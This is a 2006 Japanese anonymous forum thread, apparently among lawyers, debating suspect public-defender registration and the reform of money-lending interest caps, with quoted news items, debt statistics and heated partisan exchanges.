再来年ころには会費もろくに払えないロー出の就職浪人弁が競って被疑者国選申込みする予感。

230 :無責任な名無しさん:2006/09/09(土) 20:42:05 ID:0GOqo+bG
当面被疑者国選なんてほとんどないからそれで充分回るだろ
そんな事件は当番の頃から仕事にしてたはずだから負担増にはならん
3年後には拡大するがその頃には大量にロー卒がいるからロー卒に任せればいい
っていうかロー卒のメシのたねだから既存の弁護士が仕事を取っちゃいかんと思う

231 :無責任な名無しさん:2006/09/10(日) 01:45:53 ID:Aq/vdPum
スレタイは、今回みたいなのは止めた方がいいね。
前スレで出てたもう一方の案の、法テラス関連のスレタイにしたら、それはそれで厨が入り込んでくるし。
前スレみたいな、どうでもいいスレタイの方が正解。

232 :無責任な名無しさん:2006/09/10(日) 08:07:17 ID:gz6Y+Nu0
そうそう。

スレ立てた人には悪いけど
スレタイなんて凝らなくていい。
議論が分かれる文句が入ってると
それだけで荒れちゃうからね。

233 :無責任な名無しさん:2006/09/10(日) 09:11:27 ID:dGgWShRc
>>228
全国的に見れば4人に1人の被疑者国選登録だから十分じゃない
順番に割り振っても恐らく1人年1件無いと思うよ
法テラス契約も半分近く確保したみたいだし、
とりあえず執行部は胸をなで下ろしてるんじゃないの

234 :無責任な名無しさん:2006/09/10(日) 10:13:10 ID:A6BKyPWM
(2006年9月10日9時29分 読売新聞)

特例高金利2年短縮、貸金業規制法改正決着へ
 自民党と金融庁は9日、貸金業規制法の改正案について、少額・短期の融資に限って認める特例高金利の期間を金融庁案の5年間から3年間へ、2年短縮することで合意した。

 特例高金利の期間短縮以外は金融庁案に沿って決着する方向となった。自民党は11日の合同部会で最終的な議論を行う。


これで議論終わり


235 :無責任な名無しさん:2006/09/10(日) 10:57:41 ID:D0e+wHBF
>>233
予定数からは大幅に下回ってるらしいよ
登録した人でも実際の事件を断る人もいるだろうし、足りなくなる地域は出るんじゃないの。

236 :無責任な名無しさん:2006/09/10(日) 11:16:09 ID:6CgDYY9V
当番弁護士の登録率ってどれぐらいなの?
被疑者国選の登録率は、それより低いんだろうね。

237 :無責任な名無しさん:2006/09/10(日) 11:23:06 ID:p///tFxP
> 全国的に見れば4人に1人の被疑者国選登録だから十分じゃない
> 順番に割り振っても恐らく1人年1件無いと思うよ

いいなあ東京は・・

>>236
うちの場合は,当番が確か8割くらいで,被疑者国選は当番の9割くらいです。
ただし,どちらも土日登録が半分くらいしかないのが厳しいです。

そのため,土日登録した人は土日が優先されて平日が少ないので,
土日の件数が少ないと,逆に負担が軽くなりそうです。

238 :無責任な名無しさん:2006/09/10(日) 11:26:36 ID:p///tFxP
そういえば,この間来た日弁の人は,
「登録が少ないと,弁護士増員の口実を与えることになる」と言っていました。
確かに,今のマスコミ報道の流れだと,そういう側面がないとは言い切れないかも。

239 :無責任な名無しさん:2006/09/10(日) 12:37:18 ID:dGgWShRc
でも弁護士増員にゴーサイン出したの執行部の人たちでしょう。
自分勝手ですね。

240 :無責任な名無しさん:2006/09/10(日) 12:43:47 ID:obVZ68ar
>>234
あんたもしつこいな。
まだまだ終わらないよ。

241 :無責任な名無しさん:2006/09/10(日) 15:41:05 ID:A6BKyPWM
2006年8月17日(木)「しんぶん赤旗」

被害者や弁護士ら宣伝
高金利例外ない引き下げへ
キャラバン(東日本コース)開始

「高金利引き下げを勝ち取るぞ」「例外なく勝ち取るぞ」。
サラ金、クレジット、商工ローンの高金利引き下げを求め、被害者、
弁護士、司法書士らが全国各地で街頭宣伝、署名活動を行う
「高金利引き下げ全国キャラバン」の東日本コースが十六日、さいたま市
でスタートしました。

日本共産党は出資法上限金利をまず利息制限法の水準まで引き下げることをいっかんして主張しています。




242 :無責任な名無しさん:2006/09/10(日) 15:49:45 ID:A6BKyPWM
2006年9月9日(土)「しんぶん赤旗」

主張
高金利引き下げ
なぜこうもサラ金言いなりか

低所得世帯へのセーフティーネットとなる緊急小口資金制度や生活福祉資金貸付制度など低利の公的融資制度の拡充などで「関係省庁が連携した取組みを行う」ことを確認しています。

サラ金業界は、潤沢な資金を使って政界工作を重ねてきました。自民、公明の少なくない議員が業界の利益を代表して運動しています。こんな邪(よこしま)な動きを許さず、社会の良識に従った例外ない金利引き下げへ世論を高めることが急務です。



243 :無責任な名無しさん:2006/09/10(日) 17:20:58 ID:A6BKyPWM
日弁の意見て偶々党と一致してるだけかwww

244 :無責任な名無しさん:2006/09/10(日) 18:06:12 ID:obVZ68ar
>>243
赤旗以外のマスコミの多くも同一論調なんだがwwww


245 :無責任な名無しさん:2006/09/10(日) 19:02:45 ID:D0e+wHBF
とはいえ大スポンサーに遠慮がちな民放各社もいる

安倍がトレンドなんだったら、金貸しを保護もするだろ
統一教会に祝電打つ人だから
地元のパチンコ店と仲良しの人だから

246 :無責任な名無しさん:2006/09/10(日) 19:35:59 ID:4i4tIftG
グレーゾンの見直しは4年前に今年改正することが決められていた。
その当時は暗黙の了解で利息制限法の利率をを出資法と同じ
にすることになっていた。
しかし、1月13日の最判で自体が深刻となり利息制限法を引上
げる代わりに貸出額制限案を出すが、若手議員、マスコミ、国民
の反発が予想以上に強かった。
で、今回のような揉め事になっている。

当初は消費者金融を強くする目的だったのに逆に作用してしまった
んだよ。

247 :無責任な名無しさん:2006/09/10(日) 19:39:05 ID:A6BKyPWM
2006年9月6日(水)「しんぶん赤旗」

特例には、
日弁連が「金利引き下げを骨抜きにする」と批判したのをはじめ、「多重債務問題の解決にならない」(全国青年司法書士協議会)と批判が相次いでいます。


自作自演wwwww

248 :無責任な名無しさん:2006/09/10(日) 19:50:11 ID:A6BKyPWM
>>244
マスコミはキャラバンをしない。費用はどこから?

249 :無責任な名無しさん:2006/09/10(日) 20:03:53 ID:obVZ68ar
イタイ奴だな・・・
全国にはクレサラの被害者団体がたくさんあるんだが。
http://www.cre-sara.gr.jp/
ほか多数
まさかクレサラ被害者団体は全部共産党だと思っていないだろうなwwww


250 :無責任な名無しさん:2006/09/10(日) 20:06:03 ID:obVZ68ar
>>248
ていうか>>244の指摘はスルーか?
都合が悪くなると話題を変えるんだねwwwww

251 :無責任な名無しさん:2006/09/10(日) 20:15:33 ID:yGQf5/9y
>>248
めざましテレビでワールドキャラバンやってるの知らないのか?w

252 :無責任な名無しさん:2006/09/10(日) 20:16:21 ID:6CgDYY9V
共産党の話題はよそでやれ
みんな興味ないんだ

253 :無責任な名無しさん:2006/09/10(日) 20:37:26 ID:A6BKyPWM
>>252
興味ない、じゃなくて痛いだけだろwwwwww
党に触れると反発がすごいな

254 :無責任な名無しさん:2006/09/10(日) 20:55:49 ID:OpUL5tjm
頭悪いな。共産党と関係ない話を無理矢理共産党がらみにしてるから
叩かれてるだけだろ。グレーゾーン廃止+特例認めないと言えば共産
党なら、後藤田は共産党の代議士かよ。

255 :無責任な名無しさん:2006/09/10(日) 21:00:09 ID:UgJoLRyS
どっちにしてもつまらん。

256 :無責任な名無しさん:2006/09/10(日) 21:02:47 ID:UgJoLRyS
弁護士を論破したと思って喜んでる非弁に
いちいちかまうなよ。

誰も損しないのだから,勝手に思わせとけよ。

257 :無責任な名無しさん:2006/09/10(日) 21:13:42 ID:A6BKyPWM
>>249
http://www.cre-sara.gr.jp/ これ? 

事務局長の所属団体の会報ー2006年6月 第2号ーだけど


大田クレジット・サラ金対策協議会」(略称 大田クレ・サラ対協)2006年度総会が大田産業プラザで開催され、26名が参加し、総会の議長には大田区職労のoooを選出。総会では、代表委員の一人であるoooo弁護士(東京南部法律事務所)が

258 :無責任な名無しさん:2006/09/10(日) 21:30:37 ID:A6BKyPWM
>>254
そんなにむきになるな
誰も全員がそうだとはいってないよ
俺も共産党は決してきらいではないんだよ
ただ組織的に進めていることは事実だろ?
弁護士会は政治的に中立でないとね


259 :MS754 ◆yGUnQdhyV2 :2006/09/10(日) 21:36:04 ID:LT9I4tn0
私も全く違う板で共産党呼ばわりされたことがありますよ。YMCAの話題
の時に、そういうことをするのは共産党だといわれました。ネットには、
色々な人がいて面白いと言うか、ビックリすると言うか、色々なことがあり
ますね。

260 :無責任な名無しさん:2006/09/10(日) 21:50:02 ID:mWorW8d9
>>234
結局,利限法の利率区分の5倍化(20%まで:10万円未満→50万円未満)の改正案はどうなったの?

261 :無責任な名無しさん:2006/09/10(日) 21:54:56 ID:mWorW8d9
私は,共産党は党是自体が憲法29条違反だと思っていますが,クレサラ問題には熱心に取り組んでおります。
共産党系の団体を利用すべきときには利用します。うまく使うと便利な道具ですよ。

262 :無責任な名無しさん:2006/09/10(日) 21:56:19 ID:KfKcJh0B
俺もある。お受験板で、〇〇校は共産党の巣窟だ、なんていう阿保がいたので、バカかとカキコしたら、
共産党〇〇支部が来たと書かれた(wwwww

263 :無責任な名無しさん:2006/09/10(日) 21:59:30 ID:jTrrXjdF
多重債務問題を解決するために金利規制が必要でそのためにグレーゾーンを
廃止して出資法の上限利息を利息制限法の上限利息に合わせる。
勿論高利貸しを容認するような特例を認めない。

今の金融庁や自民党の一部議員の主張だと多重債務問題の解決にはならないので批判される。
大量発生する多重債務者を放置してまでサラ金を保護する理由がない。
それだけだ。極めて単純な話だ。共産党とか全然関係がない。

264 :無責任な名無しさん:2006/09/10(日) 22:29:52 ID:A6BKyPWM
>>263
共産主義と大いに関係あるだろ。共産主義は金貸しの存在を認めんだろ

リスクにあった利息をとるのは当たり前だろ
問題は金利規制ではなく、違法取立て等の行為規制だろ

265 :無責任な名無しさん:2006/09/10(日) 22:42:23 ID:KPkXZt9E
リスクの高い奴に貸すからこそ,
取立ても厳しくなるんだろ。

266 :無責任な名無しさん:2006/09/10(日) 22:44:16 ID:mWorW8d9
金利制限が緩くなれば,貸金業自体が射倖行為になる。
高金利は破産を誘発する。
破産をする智恵がない者が起こす犯罪も多い。

267 :無責任な名無しさん:2006/09/10(日) 22:46:36 ID:A6BKyPWM
>>265
だからこそ行為規制を厳しくするんだよ。
リスクの高い人は借りれなくてよいのか?

268 :無責任な名無しさん:2006/09/10(日) 22:46:54 ID:mWorW8d9
>>264
イスラム教も金利を認めないが,なぜ「ビンラディンの手先」とか言われないのだろう?
盗聴法・共謀罪反対の主張とあわせて考えれば,むしろ日弁連はイスラム原理主義に支配されてるだろ!

269 :無責任な名無しさん:2006/09/10(日) 22:48:41 ID:mWorW8d9
>>267

高金利+取立て方法の厳格な規制 → 真面目な債務者が不真面目な債務者の分のリスクのために返済をすることになる

おかしいだろ?

270 :無責任な名無しさん:2006/09/10(日) 22:50:39 ID:Gc4bDX79
じゃあ,ヤミ金がリスクにあった利息を取るのも当然?
だとすれば,出資法も廃止しないとな。
共産党とか全然関係ない。

271 :無責任な名無しさん:2006/09/10(日) 22:55:03 ID:A6BKyPWM
>>270
ハイリスクはいりたーん
ノーリスクのりーたん
資本主義に鉄則だ

当然公序良俗に反しない限りだ

272 :無責任な名無しさん:2006/09/10(日) 22:56:40 ID:mWorW8d9
>>267
リスクの高い人は借りれなくてよい。

=終了=

リスクの高い人が高金利で借りて生活や事業を再建できたケースに出会ったことがない。ほとんどの弁護士がそうだろう。
事業者だったら,銀行が貸してくれなかったときが諦め時。それ以上の高金利に手を出している場合に,民事再生などがうまくいくことはほとんどない。
弁護士の言うことは,そういう経験に裏付けられている。

273 :無責任な名無しさん:2006/09/10(日) 22:56:59 ID:KPkXZt9E
>>267
行為規制を厳しくしたら,
結局リスクの高い奴には貸せない。



274 :無責任な名無しさん:2006/09/10(日) 23:00:21 ID:mWorW8d9
>>271
数年後から,年利20%を超えれば公序良俗違反だということになるんだよ。
個人的には,年利14.6%を超えれば公序良俗違反だと思う。

275 :無責任な名無しさん:2006/09/10(日) 23:01:06 ID:A6BKyPWM
>>270
当然資本主義も社会政策的考慮による変容を受ける。利息制限法もそのひとつ
でも行き過ぎはいけない。共産主義に近くなる

276 :無責任な名無しさん:2006/09/10(日) 23:03:39 ID:yGQf5/9y
>>274
たしかに銀行の遅延損害金(訴訟等による回収を前提とした金利)なわけだもんな

277 :無責任な名無しさん:2006/09/10(日) 23:05:04 ID:A6BKyPWM
>>273
そうおもう奴は貸すな

278 :無責任な名無しさん:2006/09/10(日) 23:12:58 ID:jTrrXjdF
>>272
何をやるにせよ引き際が肝心だよね。戦争でも負け戦だと思ったらさっさと講和する。
訴訟でも判事の言動などから形勢不利だと判断したらさっさと和解ですませて損害を最小限で抑える。
株の場合も同じで最高値に引きずられずに売るときはさっさと売る。
勝ち目がないのにずるずると惰性で続けるのが一番駄目。

個人も事業者も銀行が貸してくれなくなったときが引き際ですよ。
どうせ最後は飛ぶのが目に見えてるわけだから。

279 :無責任な名無しさん:2006/09/10(日) 23:13:04 ID:mWorW8d9
貸金業界の主張は,今の御時世に建設会社が「ビルの構造計算の基準が重すぎるから軽くしろ」と言うようなもんだ。
鼻で笑うべき議論。

280 :無責任な名無しさん:2006/09/10(日) 23:16:02 ID:4i4tIftG
変動金利にして毎年または数年毎に見直し。利率を定める基準は当初より定めておく。
これが一番理想的だと思うが?

281 :無責任な名無しさん:2006/09/10(日) 23:24:16 ID:A6BKyPWM
もう寝よう。

女性が太るのはケ−キ屋がおいしいケ−キ作るから。
おいしいケ−キを作るケ−キ屋が悪い
女性ががおいしいケ−キを食べれないように、おいしいケ−キの製造を禁止する
法律ができた・・なんてね

余計なお世話だよね。自己責任はどこへ?



282 :無責任な名無しさん:2006/09/10(日) 23:25:29 ID:2K59xuOT
金利は診療報酬みたいにごまかせないし

283 :無責任な名無しさん:2006/09/11(月) 00:10:29 ID:mfEo+qWC
 消費者金融の利用者は1600万人近くに上り、その6人に1人、約267万人が3カ月以上、返済が滞っている。貸金業界の信用情報機関「全国信用情報センター連合会(全情連)」の調べでこうした実態が分かった。

 資料は5月22日時点で全情連に登録する顧客データから作成。4社以上から借りている多重債務者は約356万人。平均残高は約200万円で、3割以上が滞っている。1社のみの利用者(平均残高36万円)でも9.6%が延滞している。

 全情連の加盟業者は大手が多く全業者数の2割以下なので、業界全体の利用者数や借入残高はさらに多いと見られる。貸金業規制法では客の返済能力を超える貸し付けを禁止しているが、実態は延滞が多発しており、貸金業者の審査能力が改めて問われそうだ。
 政府・与党は出資法の上限(年利29.2%)と利息制限法の上限(同15〜20%)の間の灰色金利を撤廃し、利息制限法に原則一本化する方針。秋の臨時国会をめどに貸金業規制法などの関連法を改正する考えだ。
 ただ、一部の国会議員や業者は少額・短期の融資に高い特例金利を認めるべきだと主張。「1社当たり残高50万円、期間1年以内」といった案が有力になっている。

 その場合、2社からの借り入れを認めれば計100万円、3社なら計150万円まで高利で貸すことが可能だ。利用者の平均残高は101.5万円で1社からの借り入れは平均39.9万円。過半の融資が特例扱いになりかねない。

===

法的債務整理の新受件数の推移 (司法統計年報)

自己破産件数:
H14年 21万5千
H15年 24万2千
H16年 21万1千
H17年 18万4千 計:85万2000件

特定調停:
H14年 41万7千
H15年 53万7千
H16年 38万1千
H17年 27万5千 計:161万件

個人再生:
H14年 1万3千
H15年 2万4千
H16年 2万6千
H17年 2万6千 計:8万9000件


284 :無責任な名無しさん:2006/09/11(月) 00:11:50 ID:Mh8uI2RO
まあ過払金返還請求を認めてくれるのなら特例措置があってもいいよ

285 :無責任な名無しさん:2006/09/11(月) 00:19:41 ID:mfEo+qWC
新件に>>137の告訴案を検討していただきたい。
どこかの物好きな地検が直告を受けてくれないかな。

286 :無責任な名無しさん:2006/09/11(月) 00:26:38 ID:SJsFi1xA
未払い不良顧客が10%程度なら優良業界w

287 :無責任な名無しさん:2006/09/11(月) 10:00:33 ID:7vYvURtv
利用者は利息制限法を越える利率でも借りたがっており、業者も貸したがっているのに
およそ人からお金を借りたことがないような裕福な人達と資本主義憎しの人達が禁止したがっている。
変なの、当事者の声は無視かよ。
利用者も業者も馬鹿ばかりだから、意見は無視、賢い俺達が決めてやるってかwww

288 :無責任な名無しさん:2006/09/11(月) 10:18:11 ID:7vYvURtv
>>283
消費者金融の利用者は1600万人近くに上り

自己管理もできない馬鹿がこれだけいるということなんだね。本当に全員馬鹿なのかい?

289 :無責任な名無しさん:2006/09/11(月) 10:20:48 ID:iH5CtPlT
業者関係の宣伝工作投稿はご遠慮願います
2chの弁スレで工作しても意味ないですよ

290 :無責任な名無しさん:2006/09/11(月) 10:28:00 ID:7vYvURtv
共産党の宣伝工作もね。

291 :無責任な名無しさん:2006/09/11(月) 11:04:29 ID:19l5mKLw
>>287
> 利用者は利息制限法を越える利率でも借りたがっており、

高金利の借入れは、借りたがってるんじゃなくて、仕方なしにいやいや借りてるんだよ。

292 :無責任な名無しさん:2006/09/11(月) 11:10:40 ID:iH5CtPlT
理由の如何を問わず,お金を借りざるを得ないなら,
高利より低利の方が消費者は喜んで借りるはずです。

同一商品なら安いのを買う消費者心理と同じ。
そのためにメーカーはコストダウンに血のにじむ努力をしている。

高利の多重債務を苦にして自殺者が出る社会現象の是正の方が,
高利存続による収益確保より優先されてしかるべき。

293 :無責任な名無しさん:2006/09/11(月) 11:25:52 ID:rUo7G//u
>>291
クレサラやったことないのかな? 誠実な債務者ばかりじゃないよ。
むしろ、遊興費目的の浪費のため借りてる奴の方が多い。だいたい1600万人も経済的困窮者はいないだろうwww
コツコツ働いている俺よりいい車に乗って、いい大画面テレビ持って、俺の嫁も行ったことがないような
高いエステに行ってる。全部借金でな。

>>292
業者に企業努力を求めるのは消費者の立場として当然だが、国家が刑罰を背景にそれを
強制するのは間違いだ。共産主義的発想だね。
自動車事故で障害を負ったことを苦にして自殺する方も多い。気の毒だか、だからといって
自動車の製造販売を禁止するのも間違いだろう。


294 :無責任な名無しさん:2006/09/11(月) 11:37:20 ID:iH5CtPlT
>国家が刑罰を背景にそれを強制するのは間違いだ。共産主義的発想だね。

 すると米国連邦法のローンシャーク法は共産主義ですかw

295 :無責任な名無しさん:2006/09/11(月) 11:43:10 ID:Mq0VlLe/
>>294
??? 一体何の関係が? 自分の投稿の論旨を読み直してみて

296 :無責任な名無しさん:2006/09/11(月) 11:51:28 ID:9a/hvS4F
>>293
今更共産主義がなんたらって
自分の頭で考えろや

297 :無責任な名無しさん:2006/09/11(月) 12:07:23 ID:vCfdwiQF
>>287
俺は金を払ってでも女子中学生とやりたいし,女子中学生は金をもらえるんだったら俺とやっても良い
しかしながら,円光して良いわけではない。

と脳内変換してみた。


ま,多重債務者にはバカも多いけど,やむなく借りてしまい,泥沼から抜け出せない人もおり,その人達を優先的に考えるべきでしょう
バカはパチンコ代欲しさにヤミ金に手を出しても良いが,泥沼にはまったまじめな人が,再チャレンジできる程度の金利にしてあげましょうよ。

298 :無責任な名無しさん:2006/09/11(月) 12:12:14 ID:wWuFbamd
>>293

>むしろ、遊興費目的の浪費のため借りてる奴の方が多い。だいたい1600万人も経済的困窮者はいないだろうwww
>コツコツ働いている俺よりいい車に乗って、いい大画面テレビ持って、俺の嫁も行ったことがないような
>高いエステに行ってる。全部借金でな。

クレサラやったことないだろw

299 :無責任な名無しさん:2006/09/11(月) 12:14:52 ID:vCfdwiQF
さーてはじまった

おそらくは弁護士同士の非弁認定合戦だ!

300 :無責任な名無しさん:2006/09/11(月) 12:26:07 ID:wWuFbamd
大陸法系に従って,金利制限は厳しくする代わりに,破産のペナルティは少し重くしなきゃいけないと思う。
フランスの消費者金融は年利10%前後。年間自己破産件数は4万件程度。

貸金業者の発想は,まさしく外資(アメリカ資本と朝鮮資本)の発想。

アメリカでは連邦法での金利規制なし。州法で規制されている州もあるが,ない州もある。
アメリカの年間破産者数は約150万人(日本は約20万人)。

韓国の金利規制は年利66%まで。それでもヤミ金が跋扈しており年利200%以上で営業しているという。
韓国の多重債務者数は360万人(人口の6分の1)。

当職は尊皇攘夷クレサラ弁護士。外資系(洋の東西を問わず)のサラ金には一円も減額しません(生粋の日本企業との和解では減額に応じる)。
高利で営業したきゃ祖国でやれよということだ。
三和ファイナンスなどはもう韓国に進出してる。

301 :無責任な名無しさん:2006/09/11(月) 12:47:08 ID:uqfVx+HD
>>297
少し変換ミスがあるのでは? 女子中学生は未成年だから後見的監督が必要。変換するなら成人男女でしょう。
また、売春はそれ自体インモラルだが、別に25パーセントの金利がインモラルで20パーセントならそうでないということもないでしょう?

セイフティーネットは既に十分あります。破産や再生です。どんなに浪費をしても原則として免責が認められています。不許可の人など見たことありませんよ。
多重債務者は一旦破産した上で再チャレンジして下さい。

302 :無責任な名無しさん:2006/09/11(月) 12:49:10 ID:vCfdwiQF
破産したくとも,免責不許可事由ではない事情で破産できない人もそれなりにいるってのを知ってるでしょw
シンプルに割り切れて良いね

303 :無責任な名無しさん:2006/09/11(月) 12:54:44 ID:uqfVx+HD
>>302
商売していて銀行、保証協会、国民金融公庫等で親兄弟が保証人になっているからという理由が多いね。
消費者金融の問題ではないよ。

304 :無責任な無責任:2006/09/11(月) 13:02:12 ID:eZKEpe7a
消費者教育をした上での、自己責任原則の適用なら、納得できるが、無知で高利を借りている人間には、ある程度の救済は必要である。

 もっとも、教育効果のない00は、一定数残るか。

305 :無責任な名無しさん:2006/09/11(月) 13:05:06 ID:gC3fuXdP
>当職は尊皇攘夷クレサラ弁護士。外資系(洋の東西を問わず)のサラ金には一円も減額しません

ワロタ。それいいかも。

306 :無責任な名無しさん:2006/09/11(月) 13:09:06 ID:vCfdwiQF
>>303
結局利率が高いと,そういう人らの救済はなくなることになるよ

307 :無責任な名無しさん:2006/09/11(月) 13:19:54 ID:aSH75uUJ
借りる人からすれば、金利より借りられるかどうかが大事。
利用者9割は健全に利用してるのに、1割の返済困難者のために借りられなくなったたまらん。
俺も利用してるけど3万位なら、3日以内返せば利息なんか100円以下だし、
スキミング対策でコンビニ利用するには便利。

308 :無責任な名無しさん:2006/09/11(月) 13:20:51 ID:vCfdwiQF
>>307
数年後弁護士に相談しても,もう合法になってますから過払いも減額もないですよ
と言われてくださいませ

309 :無責任な名無しさん:2006/09/11(月) 13:35:03 ID:aSH75uUJ
俺はローンもクレジットも一括返済主義だから弁護士に世話にはならんね。

310 :無責任な名無しさん:2006/09/11(月) 13:49:22 ID:qUkg9l79
>>309
ローンの一括返済主義?

311 :無責任な名無しさん:2006/09/11(月) 14:03:07 ID:aSH75uUJ
夜。飲み代なんかがたんなそうな時に借りて2、3日中に一括で返してるけど
なんかへんか?

312 :無責任な名無しさん:2006/09/11(月) 14:31:37 ID:o+Bo0J2K
>>306
利率の問題じゃないんだよ。政治家が人氣とりのためにセイフティーネットの拡充
とか言って、公的融資を膨らませ、保証人つきでジャブジャフ貸しこむのが問題なんだよ。


313 :無責任な名無しさん:2006/09/11(月) 14:42:35 ID:o+Bo0J2K
>>304
救済って、破産、再生はあるし、特調や任意整理をすれば引き直し計算があるから
結果としては,利息制限法内での貸付はほぼ実現しているに等しいんだけど・・・


314 :無責任な名無しさん:2006/09/11(月) 14:52:20 ID:iH5CtPlT
>>313
弁護士を代理人に選べた場合はね。

315 :無責任な名無しさん:2006/09/11(月) 14:59:38 ID:o+Bo0J2K
>>314
特調は自分でもできるし、法の支配の貫徹のために大増員をしたのではなかったのかね?
法テラスもできるしね。

一体弁護士に依頼できない人(経済的理由、ルートを知らない)ってそんなにいるのかね。実証的
研究がなされているのか? そんなレアケースを基準にして制度をしてはならないだろう。


316 :315:2006/09/11(月) 15:01:09 ID:o+Bo0J2K
訂正 制度設計

317 :無責任な名無しさん:2006/09/11(月) 15:02:30 ID:kCFV0lcF
また〜りした良スレだったのに、糞スレ化しちゃってるね。
しばらくはいかんともしがたいかな。

318 :無責任な名無しさん:2006/09/11(月) 15:15:10 ID:oM6oczNM
豚切りでスマソ。
答弁の臨時総会があるらしく、地裁八王子支部の移転に伴う多摩支部新会館の建設のための土地の取得が議案にあがっている。
現状の多摩支部の敷地面積が113.13m2+115.30m2(現況空地)であるのに対し、新会館の敷地3000m2だってさ。

アフォじゃねぇの?
こんなんじゃ、やってらんない。


319 :無責任な名無しさん:2006/09/11(月) 15:30:02 ID:vCfdwiQF
>>313
破産できない人っているじゃない。
おまけに,まっとうな人ほど破産するまで相当の苦労をしてるでしょ。
破産するから良いって問題じゃないよ。

>>315
私は地方の弁ですが,本人申し立ての破産の管財人やることはけっこう多いですよ
是非先生にはひまわり又は地方のスタッフ弁護士としてご活躍願いたい。

>>318
その金で地方のひまわり増やしていれば,弁護士増員など不要だった。




320 :315:2006/09/11(月) 15:54:14 ID:o+Bo0J2K
>>318
副業にショッピングセンターでも誘致するんじゃないの?

でも大阪のバブルの塔よりはマシだろう。依頼者のディペロッパーと歩いてて、今どきこんなもの建てて馬鹿じゃない、と厭味を言われた。
恥ずかしかったよ。

321 :無責任な名無しさん:2006/09/11(月) 16:38:39 ID:19l5mKLw
>>315
弁護士に依頼できない人(経済的理由、ルートを知らない)がレアケース?
利息制限法内での貸付はほぼ実現しているに等しい?

すると、大手消費者金融各社の莫大な利益はどこから出てるんだ?
ほとんど利息制限法の範囲内の貸付けから生じているのか。

322 :315:2006/09/11(月) 17:10:42 ID:uAmmEg8B
>>321
ふー、よく嫁 特調や任意整理をすれば引き直し計算があるから、結果としてはとの前提つきだ。
莫大な利益なんて今は昔だ、各社とも過払請求続出で減益だ、この傾向は加速するだろう。中小では廃業するところも多いだろう。


323 :無責任な名無しさん:2006/09/11(月) 18:43:25 ID:qUkg9l79
>>313
だったら最初からその利率で貸せ。
法務サポートセンターみたいな部署のコストも減るだろ。

324 :無責任な名無しさん:2006/09/11(月) 18:58:42 ID:dkh6LlvG
>>317
次スレのスレタイ案を練ってください。
【食欲?】【スポーツ?】

325 :無責任な名無しさん:2006/09/11(月) 18:59:23 ID:IL9at58E
>>323
別にサラ金の肩を持つわけではないが、サラ金は引き直し計算を要求しない
優良顧客で儲け、その儲けで、本来到底貸せないような客が、やはり倒産して
貸し倒れになったその不良債権の損失を埋め合わせている。
一方で儲けがあるから、本来貸せない客にも貸せているわけだ。

弁護士が、金持ちから報酬をたくさんふんだくって、その儲けで事務所を経営し
採算の合わない弱者の事件や公益的事件をしているようなものだ。

最初からその利率で貸すと、儲けがなくなり、弱者には資金がまわらなくなる。
そういや、弁護士大増員で弁護士の収入が減って、公益的事件をする余裕がなくなるんじゃないか
との心配がささやかれているね。




326 :無責任な名無しさん:2006/09/11(月) 19:04:11 ID:vCfdwiQF
>>325
サラ金業会全体で見たらそうだろうけど,実際は中小がババを引いている

327 :無責任な名無しさん:2006/09/11(月) 19:09:08 ID:9a/hvS4F
>>325
損保会社の二重の基準のがサラ金より悪質ジャネ?
弁護士が入らなければ平気で嘘みたいな安い自社基準で和解しちゃうのは許されるの?(事実関係に争いがなくても)

328 :無責任な名無しさん:2006/09/11(月) 19:16:53 ID:tqB7Mk/O
金融界の秩序として、一番の上客は都銀がとり、落ちこぼれを地銀がとる、そして、さらに落ちこぼれた客を信金クラスが拾い、以下、クレジット、大手消費者金融、中小消費者金融
街金と川下に客が流れていく。厳然とヒエラルヒーがある。川下に行くほどリスクが高くなるから、利息が高くなって当然だろう?
消費者金融を快く思わない心情は分かるが、本当に悪いのは、彼等にある意味汚い仕事をさせて、陰で彼等に融資して儲けている連中だろ。

329 :無責任な名無しさん:2006/09/11(月) 19:23:59 ID:qUkg9l79
>>325
>サラ金は引き直し計算を要求しない優良顧客で儲け

その「優良顧客」をだましているからこそサラ金屋は儲けを出せているんだろ。
「利限法以上は本当は請求してはいけないんです。だから、支払わなくていいのですが、支払いたかったら払ってね。」
と十分に説明した上で、払ってもらえるのが真の優良顧客だ。
でも、そんなのいないだろ。

330 :無責任な名無しさん:2006/09/11(月) 19:35:56 ID:w+px/6JN
明日午前9時までにすること

(1)ややこしい長大事件の最終準備書面的な準備書面 (ぜったい)
(2)専門家に相談にいったときのレポート (ぜったい)

今食べてる夕食
・朝食べたコンビニサンドイッチの残り
・粉のトマトスープをお湯で溶いたもの
・ちくわチーズ
・さけるチーズ



331 :無責任な名無しさん:2006/09/11(月) 19:46:12 ID:tqB7Mk/O
>>329
はいはい、弁護士は事件を引き受ける前に、自分がした今までのちょんぼを全部正直にいいましょうね。
医師も、これまでした誤診の内容を全部正直にいいましょうね。私は、これまでこんなちょんぼをしました。
それでも私に仕事を依頼しますかって聞きましょうね。
自分にも厳しくね。

でも、依頼者は全部逃げるだろうWWWW


332 :無責任な名無しさん:2006/09/11(月) 19:51:20 ID:gC3fuXdP
もうこの話はいいよ。
tqB7Mk/O が支離滅裂で破綻しているのは明らかだし。
マターリしよう。


やっぱりスレタイが失敗だったな。
嫌な予感はしていたが。
以前に「国選」ってスレタイに入ってたら変なのが寄ってきたし。

333 :無責任な名無しさん:2006/09/11(月) 19:53:08 ID:SJsFi1xA
>>331
業者の方はそろそろお引取りください
スレタイとローカルルール読んでね

334 :無責任な名無しさん:2006/09/11(月) 20:23:35 ID:dkh6LlvG
時事問題のキーワードをスレタイに入れるのはやめよう。

>>333
スレタイを読んだからこそ(ry

335 :無責任な名無しさん:2006/09/11(月) 20:32:18 ID:fBmIkny0
出資法が改正されたら無尽講どうなるんだ?

336 :無責任な名無しさん:2006/09/11(月) 20:45:02 ID:wWuFbamd
>>321

多分,サラ金は,契約者が破産したとき,額面での貸付残額を貸倒処理してるのだろうな。
そのおかげで数百億の営業黒字をあげてるんだろ?

しかし,ここは課税庁が頑張って,利限引き直し残のみ損金と認めるべきではないのかな。
さらにいえば,破産者が実際は過払いの状態であったときは,債務免除益を計上すべきだな。


337 :無責任な名無しさん:2006/09/11(月) 20:46:26 ID:wWuFbamd
>>315
あまねく全国に弁護士がおり,いくらでも受任できる状態で買い手市場だったら,
過払い訴訟がもっと増えて,とっくにほとんどの貸金業者が潰れていただろう。

338 :無責任な名無しさん:2006/09/11(月) 20:54:03 ID:vCfdwiQF
俺が今やらないといけないこと
 せっぱ詰まってるのはないと自覚している

やっておいた方が良いこと
 管財の財団債権承認寄託金返還の書類作成
 建物明け渡し訴状
 

とか書いてるうちにやるきがなくなったので帰ります。 


